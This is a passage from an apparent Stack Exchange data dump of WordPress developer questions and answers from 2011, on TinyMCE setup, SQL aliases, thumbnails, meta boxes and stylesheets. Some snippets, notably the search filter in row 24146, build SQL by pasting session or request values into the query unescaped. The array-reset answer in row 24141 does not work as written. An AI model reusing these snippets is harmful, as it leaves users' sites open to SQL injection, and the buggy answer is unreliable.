{&#xA;            title : 'pH: Minimum',&#xA;            image : '&amp;lt;?php echo plugins_url('images/pH_min.png' , __FILE__); ?&amp;gt;',&#xA;            onclick : function() {&#xA;                ed.focus();&#xA;                ed.selection.setContent('[pH_min]');&#xA;            }&#xA;        }),&#xA;        ed.addButton('pH_max', {&#xA;            title : 'pH: Maximum',&#xA;            image : '&amp;lt;?php echo plugins_url('images/pH_max.png' , __FILE__); ?&amp;gt;',&#xA;            onclick : function() {&#xA;                ed.focus();&#xA;                ed.selection.setContent('[pH_max]');&#xA;            }&#xA;        });&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That stopped working when I updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried the code I was previously using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (function_exists('wp_tiny_mce')) {&#xA;&#xA;    add_filter(&quot;mce_external_plugins&quot;, &quot;add_myplugin_tinymce_plugin&quot;);&#xA;    add_filter('mce_buttons', 'register_myplugin_button');&#xA;&#xA;    add_filter('teeny_mce_before_init', create_function('$a', '&#xA;      $a[&quot;theme&quot;] = &quot;advanced&quot;;&#xA;      $a[&quot;skin&quot;] = &quot;wp_theme&quot;;&#xA;      $a[&quot;height&quot;] = &quot;75&quot;;&#xA;      $a[&quot;onpageload&quot;] = &quot;&quot;;&#xA;      $a[&quot;mode&quot;] = &quot;textarea&quot;;&#xA;      $a[&quot;elements&quot;] = &quot;elm1, elm2&quot;;&#xA;      $a[&quot;editor_selector&quot;] = &quot;mceEditor&quot;;&#xA;      $a[&quot;plugins&quot;] = &quot;safari,inlinepopups,spellchecker&quot;;&#xA;&#xA;      $a[&quot;forced_root_block&quot;] = false;&#xA;      $a[&quot;force_br_newlines&quot;] = true;&#xA;      $a[&quot;force_p_newlines&quot;] = false;&#xA;      $a[&quot;convert_newlines_to_brs&quot;] = true;&#xA;&#xA;      return $a;'));&#xA;&#xA;    wp_tiny_mce(true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, now I get the following error:&#xA;    &lt;code&gt;Fatal error: Call to undefined function wp_tiny_mce()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: the reason I used the top code originally was because I required custom buttons. I don't any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I need is the facility to add a TinyMCE editor to specific elements on my page, with a custom button configuration (one line with bold/italic/spellcheck/custom characters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="6344" LastActivityDate="2011-07-26T15:52:34.763" Title="Simplified TinyMCE editor on Custom Post Type meta boxes" Tags="&lt;tinymce&gt;" />
  <row Id="24123" PostTypeId="2" ParentId="24119" CreationDate="2011-07-26T16:01:41.153" Score="2" ViewCount="" Body="&lt;p&gt;Allow me to translate the roles and states into WP parlance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Roles:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Editor -&gt; Author&lt;/li&gt;&#xA;&lt;li&gt;Publisher -&gt; Editor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;States:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Draft -&gt; Draft&lt;/li&gt;&#xA;&lt;li&gt;Ready for publication -&gt; Pending Review&lt;/li&gt;&#xA;&lt;li&gt;Published -&gt; Published&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The only thing you need a plugin for is this bit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;From that moment on, the &lt;em&gt;author&lt;/em&gt; looses the ability to edit the blogpost.&quot;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-26T16:01:41.153" />
  <row Id="24124" PostTypeId="1" AcceptedAnswerId="24126" CreationDate="2011-07-26T16:07:33.663" Score="0" ViewCount="14" Body="&lt;p&gt;I have imported some tables from my online wordpress database to my local to work on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However now I am getting some weird sql errors that I don't get online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that the code of the plugin I am working on has some references (aliases?) that don't appear to reference anything that I see when I do a search:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = $wpdb-&amp;gt;get_row( 'SELECT re.*&#xA;                                    FROM ' . EVENT_ESPRESSO_RECURRENCE_TABLE . ' re&#xA;                                    INNER JOIN ' . EVENTS_DETAIL_TABLE . ' ed&#xA;                                    ON re.recurrence_id = ed.recurrence_id&#xA;                                    WHERE re.recurrence_id = ' . $recurrence_id .&#xA;                        ' ORDER BY ed.start_date ASC&#xA;                                    LIMIT 1', ARRAY_A );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is table 're'? In re.recurrence_id?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-07-26T16:15:38.427" Title="Wordpress tables and aliases?" Tags="&lt;mysql&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24125" PostTypeId="1" CreationDate="2011-07-26T16:13:06.387" Score="3" ViewCount="46" Body="&lt;p&gt;I currently have a separate WordPress install on a subfolder /dev and the live site in the root directory. I developed the site on the dev folder and then copied it over when it was complete. I wantt o maintain the dev site for future enhancement testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better or easier way to do this using built in WordPress features like multisite? &#xA;Can anyone verify that this is a good way to approach it?&lt;/p&gt;&#xA;" OwnerUserId="7318" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2011-07-31T16:37:56.330" LastActivityDate="2011-07-31T17:34:18.130" Title="WordPress Active and Development server best practices" Tags="&lt;development-strategy&gt;" AnswerCount="1" />
  <row Id="24126" PostTypeId="2" ParentId="24124" CreationDate="2011-07-26T16:15:38.427" Score="2" ViewCount="" Body="&lt;p&gt;'re' is the alias you give to EVENT_ESPRESSO_RECURRENCE_TABLE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error you're seeing is probably because the EVENT_ESPRESSO_RECURRENCE_TABLE constant isn't defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do a &lt;code&gt;var_dump( $wpdb-&amp;gt;last_query )&lt;/code&gt; just below that code to see the final SQL statement.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-26T16:15:38.427" CommentCount="1" />
  <row Id="24127" PostTypeId="1" CreationDate="2011-07-26T16:18:34.500" Score="0" ViewCount="141" Body="&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function widget($args, $options) {&#xA;    extract($args);&#xA;&#xA;    global $post;&#xA;    $post_type = $options['post_type'];&#xA;    $num_of_posts = $options['limit'];&#xA;&#xA;    // Create a new instance&#xA;    $second_query = new WP_Query( array(&#xA;                        'post_type' =&amp;gt; &quot;$post_type&quot;,&#xA;                        'posts_per_page' =&amp;gt; &quot;$num_of_posts&quot;,&#xA;                        'post_status' =&amp;gt; 'publish',&#xA;                    ) ); &#xA;&#xA;    // The Loop&#xA;    if ($second_query-&amp;gt;have_posts()) :&#xA;      while( $second_query-&amp;gt;have_posts() ) : $second_query-&amp;gt;the_post();&#xA;          $content .= '&amp;lt;span&amp;gt;&amp;lt;a href=&quot;' .get_permalink(). '&quot;&amp;gt;' . get_the_title($post-&amp;gt;ID) . '&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;';&#xA;          $content .= '&amp;lt;div&amp;gt;' .get_the_post_thumbnail($post-&amp;gt;ID, array(290,290)). '&amp;lt;/div&amp;gt;';&#xA;          $content .= '&amp;lt;p&amp;gt;' . get_the_excerpt() . '&amp;lt;/p&amp;gt;';&#xA;      endwhile; else :&#xA;          $content = '&amp;lt;p&amp;gt;No ' . $options['post_type'] . 's found.&amp;lt;/p&amp;gt;';&#xA;    endif;&#xA;    wp_reset_postdata();&#xA;&#xA;    $title = &quot;&amp;lt;h3&amp;gt;&quot; . $options['title'] . &quot;&amp;lt;/h3&amp;gt;&quot;;&#xA;&#xA;    echo $before_widget.$title.$content.$after_widget;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything displays fine except the thumbnail :-\&lt;/p&gt;&#xA;" OwnerUserId="1649" LastEditorUserId="1649" LastEditorDisplayName="" LastEditDate="2011-07-27T00:03:00.817" LastActivityDate="2011-07-27T00:52:23.897" Title="get_the_post_thumbnail() returns nothing?" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="24128" PostTypeId="1" AcceptedAnswerId="24142" CreationDate="2011-07-26T16:22:48.077" Score="0" ViewCount="78" Body="&lt;p&gt;Encountered an infuriating issue where I f i want to add multiple linebreaks &lt;br /&gt; for layout between paragraphs, Wordpress doesn't recognize them in th wysiwig editor. If I enter them in the code window, and publish they DO save, but the next time the Wysiwig is edited and published those breaks disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a workaround or a plugin hat lets Tinymce handle this better?&lt;/p&gt;&#xA;" OwnerUserId="7318" LastActivityDate="2011-07-26T18:38:55.993" Title="Wordpress Tiny MCE won't accept line breaks" Tags="&lt;tinymce&gt;" AnswerCount="3" />
  <row Id="24129" PostTypeId="2" ParentId="24113" CreationDate="2011-07-26T16:23:07.317" Score="1" ViewCount="" Body="&lt;p&gt;the TinyMCE Editor has its own keydown event handler and its hooked to a function on initiation so to do that you can create a tinymce plugin or use the wordpress initiation of it with &lt;code&gt;tiny_mce_before_init&lt;/code&gt; hook like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'tiny_mce_before_init', 'wpse24113_tiny_mce_before_init' );&#xA;function wpse24113_tiny_mce_before_init( $initArray )&#xA;{&#xA;    $initArray['setup'] = &amp;lt;&amp;lt;&amp;lt;JS&#xA;[function(ed) {&#xA;    ed.onKeyDown.add(function(ed, e) {&#xA;        //your function goes here&#xA;        console.debug('Key down event: ' + e.keyCode);&#xA;    });&#xA;&#xA;}][0]&#xA;JS;&#xA;    return $initArray;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-26T16:23:07.317" CommentCount="2" />
  <row Id="24130" PostTypeId="2" ParentId="24066" CreationDate="2011-07-26T16:35:15.927" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I've tried the Wordpress MU domain mapping plugin but I'm not satisfied with its behavior. This plugin seems to simply redirect the user&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are you sure that your domains DNS changes propagated long enough? It can take up to 48hours sometimes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason I'm asking is because I am using the same plugin on one of my Multisite installs and although the setup of it all is a bit more complicated than a single WordPress install, eventually you can get it to work without too much trouble.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-07-26T16:35:15.927" />
  <row Id="24131" PostTypeId="2" ParentId="24066" CreationDate="2011-07-26T16:51:39.773" Score="0" ViewCount="" Body="&lt;p&gt;Domain mapping is the correct answer to your question, because that isn't how the domain mapping plugin works at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://ottopress.com&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com&lt;/a&gt;. It really lives at &lt;a href=&quot;http://ottodestruct.com/op/&quot; rel=&quot;nofollow&quot;&gt;http://ottodestruct.com/op/&lt;/a&gt;, but you wouldn't know it, would you? It's a domain mapped site on a multisite installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're getting a redirect to the wrong URL, check to be sure that you set up the new domain as the &quot;primary&quot; in the domain mapping. The primary one is the one that the others will redirect to.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-26T16:51:39.773" CommentCount="1" />
  <row Id="24132" PostTypeId="2" ParentId="24127" CreationDate="2011-07-26T16:54:02.220" Score="2" ViewCount="" Body="&lt;p&gt;Try just get_the_post_thumbnail(). Leave the $post-&gt;ID out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Never mind, get_the_post_thumbnail does require the ID. I'd use the get_the_ID() function instead of $post-&gt;ID, but that shouldn't matter.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-07-27T00:52:23.897" LastActivityDate="2011-07-27T00:52:23.897" CommentCount="5" />
  <row Id="24133" PostTypeId="2" ParentId="22594" CreationDate="2011-07-26T16:59:46.807" Score="1" ViewCount="" Body="&lt;p&gt;I ran into this as well... I am using the SQL query, but not the wpfp_list_most_favorited() function, so this may or may not work for you, but worth a shot. Try updating the SQL query in wp-favorite-posts.php (around line 206) from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT post_id, meta_value, post_status FROM $wpdb-&amp;gt;postmeta&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT post_id, meta_value, meta_key, post_status FROM $wpdb-&amp;gt;postmeta&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="966" LastActivityDate="2011-07-26T16:59:46.807" CommentCount="1" />
  <row Id="24134" PostTypeId="2" ParentId="24128" CreationDate="2011-07-26T17:29:38.693" Score="0" ViewCount="" Body="&lt;p&gt;You're not supposed to ad linebreaks this way.&#xA;Every paragraph is divided in &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;-tags:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;paragraph 1...&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;paragraph 2...&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should edit your style.css to ad more space (margin) between the paragraphs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could add a empty &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;-tag like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;paragraph 1...&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;paragraph 2...&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2011-07-26T17:29:38.693" CommentCount="1" />
  <row Id="24135" PostTypeId="1" CreationDate="2011-07-26T17:30:18.460" Score="0" ViewCount="60" Body="&lt;p&gt;I haven't used WP extensively before but I'm more experienced in HTML/jQuery and I'm helping a friend with their existing WP blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have designed an interactive map menu using the technique described here: &lt;a href=&quot;http://www.workwithchoicecuts.com/methodology/revisiting-the-html-image-map/&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; and &lt;a href=&quot;http://www.workwithchoicecuts.com/demo/html-image-map-revisted/index.htm&quot; rel=&quot;nofollow&quot;&gt;demo&lt;/a&gt; (essentially each region of the map has it's own image for both selected and non-selected states and an image map and jQuery is used to toggle the selection of each area)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to achieve is to have this pop up in a lightbox style box when you go to the blog homepage, and then the areas selected on the map dictate the categories of posts that are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had created this using plain HTML and jQuery (without a lightbox type plugin - just doing the fade manually) but now I need to integrate it with their website - although I imagine I may have to code this completely differently for WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my main questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a lightbox type WP plugin that supports all of the content I need (HTML image map and a few other buttons and options)?&lt;/li&gt;&#xA;&lt;li&gt;Would the most appropriate plugin then support the jQuery method I have used from the tutorial above or is there a better way of achieving this?&lt;/li&gt;&#xA;&lt;li&gt;How can I get this to automatically popup for the homepage of the blog?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope I've included enough information, if you have any questions just let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot,&lt;/p&gt;&#xA;" OwnerUserId="7354" LastActivityDate="2011-08-26T00:34:55.103" Title="Lightbox type effect to support a HTML/jQuery image map" Tags="&lt;plugin-recommendation&gt;&lt;jquery&gt;&lt;image&gt;&lt;html&gt;&lt;map&gt;" AnswerCount="1" />
  <row Id="24136" PostTypeId="2" ParentId="24087" CreationDate="2011-07-26T17:33:39.873" Score="0" ViewCount="" Body="&lt;p&gt;The best source for information on this is the getshopped.org/forums/ forums. It appears that there are a couple of posts regarding this gateway in the forums, but the forums appear down at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, getshopped.org maintains a directory of developers that can help you develop a new payment gateway. These gateways are relatively simple to build (I'm working on one right now) depending on the complexity of the merchant API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no reason that the gateway cannot be build; it's just a matter of finding someone to do it. And, I do not believe that the gateway you are looking for currently exists.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-26T17:33:39.873" />
  <row Id="24138" PostTypeId="2" ParentId="24128" CreationDate="2011-07-26T17:42:04.693" Score="0" ViewCount="" Body="&lt;p&gt;If you add a class to the breaks(so in HTML mode obviously) and make sure something follows them, they shouldn't get removed ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;br class=&quot;a&quot; /&amp;gt;&#xA;&amp;lt;br class=&quot;a&quot; /&amp;gt;&#xA;Something&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method works for me when switching between Visual and HTML, so hope that's of some use to you(though i'll admit it's not &lt;em&gt;ideal&lt;/em&gt;).&lt;/p&gt;&#xA;" OwnerUserId="2962" LastActivityDate="2011-07-26T17:42:04.693" />
  <row Id="24139" PostTypeId="1" CreationDate="2011-07-26T17:42:46.113" Score="0" ViewCount="13" Body="&lt;p&gt;So I have a ReCaptcha plugin but it seems that spam keeps getting through and were not quite sure why. I want to make my custom captcha but I'm not sure what file I need to open in order to test conditions. When people submit a comment what file does it open in order to process that comment?&lt;/p&gt;&#xA;" OwnerUserId="7355" LastActivityDate="2011-07-26T17:42:46.113" Title="Customer Captcha" Tags="&lt;plugins&gt;&lt;wordpress.org&gt;&lt;spam&gt;&lt;captcha&gt;" />
  <row Id="24140" PostTypeId="1" AcceptedAnswerId="24154" CreationDate="2011-07-26T17:49:02.733" Score="0" ViewCount="42" Body="&lt;p&gt;I'm trying to create a settings page. If I print things within index, I can see it. If I try to include it, I can't see anything, neither errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_options_page('My Plugin', 'My Plugin', 'manage_options', 'my-plugin', array('MyPluginSettings', 'index'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyPluginSettings&#xA;{&#xA;    public function index()&#xA;    {&#xA;        /* I can echo or print here and it works fine ...&#xA;         * But i can't require a file here ... nothing happens&#xA;         */&#xA;        require('existing/path/to/a/file.php');&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's wrong? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7356" LastActivityDate="2011-07-26T20:43:32.880" Title="I cannot include a file in my plugin settings page" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;menus&gt;&lt;add-action&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24141" PostTypeId="2" ParentId="24118" CreationDate="2011-07-26T18:29:42.540" Score="2" ViewCount="" Body="&lt;p&gt;Do you want to unset &lt;em&gt;just one option&lt;/em&gt;, or do you want to unset &lt;em&gt;every option in the array&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's the former:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tccl_domains = get_option( 'tccl_settings_domains' );&#xA;&#xA;$tccl_domains['option_to_unset'] = false;&#xA;&#xA;update_option( 'tccl_settings_domains', $tccl_domains );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it's the latter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tccl_domains = get_option( 'tccl_settings_domains' );&#xA;&#xA;foreach( $tccl_domains as $option ) {&#xA;    $option = false;&#xA;}&#xA;update_option( 'tccl_settings_domains', $tccl_domains );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-26T18:29:42.540" CommentCount="7" />
  <row Id="24142" PostTypeId="2" ParentId="24128" CreationDate="2011-07-26T18:38:55.993" Score="1" ViewCount="" Body="&lt;p&gt;I use TinyMce Advanced. In the TinyMce Advanced settings it gives you to the choice to stop removing the line-breaks. You might give it a try. This is the first plug-in I install after adding a WP Website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tinymce-advanced/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-26T18:38:55.993" />
  <row Id="24143" PostTypeId="1" CreationDate="2011-07-26T19:22:55.210" Score="0" ViewCount="49" Body="&lt;p&gt;Today I upgraded Wordpress to 3.2.1 and noticed that the nested list markup seems to be invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code it's producing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;li&amp;gt;parent list item 1&amp;lt;/li&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;li&amp;gt;child list item 1&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;  &amp;lt;li&amp;gt;parent list item 2&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead it should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;li&amp;gt;parent list item 1&#xA;    &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li&amp;gt;child list item 1&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;parent list item 2&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody else having this problem or have any idea what might be causing this?&lt;/p&gt;&#xA;" OwnerUserId="7357" LastActivityDate="2011-07-26T19:22:55.210" Title="TinyMCE invalid nested list markup" Tags="&lt;tinymce&gt;" />
  <row Id="24144" PostTypeId="1" AcceptedAnswerId="24145" CreationDate="2011-07-26T19:24:31.947" Score="0" ViewCount="66" Body="&lt;p&gt;Did I use custom enough in the title?   Here is a quick explanation of what I am doing. I am creating a genealogy site and I have a custom post type called &quot;Ancestor&quot;  In this post type there is quite a bit of information that is going into custom fields.   To make it more user friendly, I've created &lt;a href=&quot;http://imgur.com/WjBVs&quot; rel=&quot;nofollow&quot;&gt;a few custom meta boxes to organize the data.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of the fields in those meta boxes need to be unique.  No one will have more than one birth date, etc.   But the next custom meta box I need to tackle is the &quot;Parents / Siblings&quot; box.  I don't want to create a meta box with 15 custom fields IDed as sibling1, sibling2...  I'd like to make use of the &quot;Add Custom Field&quot; button that lets you dynamically add additional custom fields. So people could add as many or as few sibling fields as they need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created the meta boxes using the method at &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any info or shove in the right direction to adding a &quot;New Sibling Field&quot; button would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7358" LastActivityDate="2011-07-26T19:32:49.763" Title="Adding a custom &quot;Add Custom Field&quot; button to Custom Meta boxes" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;metabox&gt;&lt;add-meta-box&gt;" AnswerCount="1" />
  <row Id="24145" PostTypeId="2" ParentId="24144" CreationDate="2011-07-26T19:32:49.763" Score="0" ViewCount="" Body="&lt;p&gt;I suggest to use &lt;a href=&quot;http://www.farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot; title=&quot;WP Alchemy Metabox&quot;&gt;WP Alchemy Metabox&lt;/a&gt;. What you are looking for is the &lt;a href=&quot;http://www.farinspace.com/wpalchemy-metabox/#have_fields_and_multi&quot; rel=&quot;nofollow&quot;&gt;have_fields_and_multi&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-07-26T19:32:49.763" CommentCount="1" />
  <row Id="24146" PostTypeId="2" ParentId="23381" CreationDate="2011-07-26T19:38:18.647" Score="1" ViewCount="" Body="&lt;p&gt;Managed to figure it out by adapting that code from the link i posted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function atom_search_where($where){&#xA;global $wpdb;&#xA;if($_SESSION['js'] != '')&#xA;$where .= &quot;OR (t.name LIKE '%&quot;.trim($_SESSION['js']).&quot;%' AND {$wpdb-    &amp;gt;posts}.post_status = 'publish')&quot;;&#xA;$where .= &quot;OR ($wpdb-&amp;gt;postmeta.meta_key = '_job_ref' AND $wpdb-&amp;gt;postmeta.meta_value = '&quot;.$_SESSION['js'].&quot;')&quot;;&#xA;return $where;&#xA;}&#xA;&#xA;function atom_search_join($join){&#xA;global $wpdb;&#xA;if($_SESSION['js'] != '')&#xA;$join .= &quot;LEFT JOIN {$wpdb-&amp;gt;term_relationships} tr ON {$wpdb-&amp;gt;posts}.ID = tr.object_id INNER JOIN {$wpdb-&amp;gt;term_taxonomy} tt ON tt.term_taxonomy_id=tr.term_taxonomy_id INNER JOIN {$wpdb-&amp;gt;terms} t ON t.term_id = tt.term_id&quot;;&#xA;$join .= &quot;LEFT JOIN $wpdb-&amp;gt;postmeta ON ($wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;postmeta.post_id)&quot;;&#xA;return $join;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6224" LastActivityDate="2011-07-26T19:38:18.647" />
  <row Id="24148" PostTypeId="1" AcceptedAnswerId="24151" CreationDate="2011-07-26T20:15:12.603" Score="0" ViewCount="35" Body="&lt;p&gt;I am trying to add a stylesheet when users are accessing the blog section of my site from and iPad. The first snippet of code works, however, I don't want to use the absolute path. I want to use wordpress's function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ipad_css() {&#xA;  if( preg_match('/ipad/i',$_SERVER['HTTP_USER_AGENT'])) {?&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://website/wp-content/themes/my_theme/ipad.css&quot; media=&quot;screen&quot; /&amp;gt; &#xA;&amp;lt;?php }&#xA;  }&#xA;  add_action('init','ipad_css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't seem to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ipad_css() {&#xA;  if( preg_match('/ipad/i',$_SERVER['HTTP_USER_AGENT'])) {?&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/ipad.css&quot; media=&quot;screen&quot; /&amp;gt; &#xA;&amp;lt;?php }&#xA;  }&#xA;  add_action('init','ipad_css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm confused as to why it won't work. I have trying &lt;code&gt;stylesheet_url&lt;/code&gt; as well with no luck.&lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2011-07-26T20:30:41.877" Title="Alternate stylesheet only works with absolute address for link?" Tags="&lt;stylesheet&gt;" AnswerCount="1" />
